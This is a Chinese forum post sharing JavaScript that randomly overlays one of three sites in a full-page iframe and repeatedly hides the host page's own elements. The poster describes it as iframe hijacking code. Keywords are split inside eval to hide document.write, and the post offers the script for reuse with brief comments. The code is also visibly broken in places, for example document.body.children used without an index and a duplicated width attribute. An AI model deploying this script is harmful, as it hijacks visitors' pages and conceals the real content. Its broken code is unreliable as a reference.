小麦子 发表于 2024-10-19 15:06:56

随机iframe框架跳转的js代码

从别人的网站里面发现一段比较有趣的代码,在三个事件之间随机进行iframe框架跳转。代码比较简单,为了防止小白看看不懂已经写好注解。这里分享给大家。

以上只是代码部份演示图片,详细可以付费购买。
var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一:iframe框架跳转
    a = 'http://www.baidu.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
      setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                  var a = document.body.children.tagName;
                  var b = document.body.children.id;
                  if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children.style.display = "non" + "e"
                  }
                } catch(e) {}
            }
      },
      100)
    } catch(e) {}
    break;

case 2://事件二:iframe框架跳转
    a = 'http://www.sougou.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
      setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                  var a = document.body.children.tagName;
                  var b = document.body.children.id;
                  if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children.style.display = "non" + "e"
                  }
                } catch(e) {}
            }
      },
      100)
    } catch(e) {}
    break;

case 3://事件三:iframe框架跳转
    a = 'http://www.360.com';
    var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
      setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                  var a = document.body.children.tagName;
                  var b = document.body.children.id;
                  if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children.style.display = "non" + "e"
                  }
                } catch(e) {}
            }
      },
      100)
    } catch(e) {}
    break;
}

上面的代码中,一开始申明了随机事件的多少,然后生成随机数,后面的代码没什么特殊的,就是iframe窗体而已。其中的iframe代码中,从div中可以看到“showcloneshengxiaon”,明显可以看到引用的《iframe框架劫持代码》document.body.removeChild(div) //div是个变量,指某个元素,删除该元素 style.display = "none" ;隐藏元素,这一段是多余的,指定的元素已经删了,就无所谓隐藏了。
页: [1]
查看完整版本: 随机iframe框架跳转的js代码